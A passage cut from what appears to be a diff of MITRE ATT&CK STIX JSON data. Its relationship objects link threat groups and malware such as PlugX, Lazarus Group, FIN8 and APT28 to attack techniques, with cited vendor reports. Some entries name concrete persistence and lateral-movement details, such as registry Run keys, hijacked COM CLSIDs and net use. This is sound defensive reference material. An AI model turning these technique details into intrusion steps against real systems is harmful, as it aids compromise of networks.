2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "modified": "2019-04-18T20:19:49.280Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has beaconed to its C2 over port 443.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c35702f8-f13f-4851-9cfc-1eea526bd6e1", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:15.924Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) collected and exfiltrated files from the infected system.", + "type": "relationship", + "created": "2017-05-31T21:33:27.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e28cc53-3fd4-42ed-8516-71fd9ee57641", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "modified": "2019-07-11T13:53:06.030Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords.", + "type": "relationship", + "created": "2017-05-31T21:33:27.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83ba5b2c-b3fd-4558-a3f8-cef4c31e02bd", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:09.085Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-11T13:53:06.149Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d26097f-2d6a-4642-857b-109c0f600a73", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4", + "external_references": [ + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has attempted to map to C$ on enumerated hosts to test the scope of their current credentials/context.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a83e6a0f-fc31-472f-bffd-135dfc5ce683", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.764Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList {42aedc87-2188-41fd-b9a3-0c966feabec1} or Microsoft WBEM New Event Subsystem {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} depending on the system's CPU architecture.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8793b289-4b74-4119-8561-a9ad27dacdff", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.494Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee9d56a1-ec92-459c-bd3e-7fc9f52f628d", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.629Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) contains a cleanup module that removes traces of itself from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The OsInfo function in [Komplex](https://attack.mitre.org/software/S0162) collects a running process list.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b", + "external_references": [ + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) has used legitimate VPN, Citrix, or VNC credentials to maintain access to a victim environment.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9abd0448-a3b7-4262-8753-fe81dc91c434", + "external_references": [ + { + "source_name": "FireEye Respond Webinar July 2017", + "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.", + "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html" + }, + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.818Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) used net use commands to connect to lateral systems within a network.", + "type": "relationship", + "created": "2017-05-31T21:33:27.045Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-14T21:04:45.263Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) adds itself to the Registry key Software\\Microsoft\\Windows\\CurrentVersion\\Run to establish persistence upon reboot.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7d1d4ffd-7c60-4a83-bcfa-66413bbe7212", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c1fd6ce6-26e7-49a7-abff-a64fd0fc8a35", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. 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Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:36.408Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "During execution, [Threat Group-3390](https://attack.mitre.org/groups/G0027) malware deobfuscates and decompresses code that was encoded with Metasploit\u2019s shikata_ga_nai encoder as well as compressed with LZNT1 compression.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9191026d-2410-4e6d-98fe-26786a5b8bf1", + "external_references": [ + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ], + "modified": "2019-07-14T21:15:55.363Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) specifically looks for Domain Admins, Power Users, and the Administrators groups within the domain and locally", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc85f8f4-5d65-484c-af82-6adbe42083d9", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) uses HTTP for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d659138-90e5-4b67-8956-02120d99506f", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Newer variants of [BACKSPACE](https://attack.mitre.org/software/S0031) will encode C2 communications with a custom system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c0aae73-fe06-4aa3-8216-568d78747c6d", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T19:23:13.541Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87f40abf-4ee5-4f56-8150-97e0dd823a93", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "relationship_type": "uses", + "target_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has installed updates and new malware on victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. 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Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "modified": "2019-06-28T15:24:32.247Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.694Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e6d61e2-7b61-4b6c-85c7-7779125c1d14", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:08:48.590Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d51acf9-f8df-42e1-aef3-4c86cf5ab17a", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) added the registry value ntdll to the Registry Run key to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28b125cf-ff1a-4798-8b8a-3724d052e848", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.627Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) extracted Word documents from a file server on a victim network.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5f3eb1ae-782e-4e49-8e1e-650f3e5a1139", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "modified": "2019-03-25T16:57:02.843Z", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:35:34.988Z", + "type": "relationship", + "id": "relationship--a2ee3987-f7c9-41ce-8aca-fae8e8c2ef9a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.022Z", + "source_ref": "course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) has used Android backdoors capable of enumerating specific files on the infected devices.", + "type": "relationship", + "created": "2017-05-31T21:33:27.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b03aafb3-dc03-4e12-9354-69a579b60aaf", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2019-03-22T20:14:29.737Z", + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan uses a batch script to run its payload. The group has also used macros to execute payloads.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5799308b-e710-40b8-ad64-2b7916673560", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-27T00:09:36.638Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) may use [netsh](https://attack.mitre.org/software/S0108) to add local firewall rule exceptions.", + "type": "relationship", + "created": "2017-05-31T21:33:27.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ae1ce05-3db2-4a97-8e58-0ed3d65d9d22", + "external_references": [ + { + "source_name": 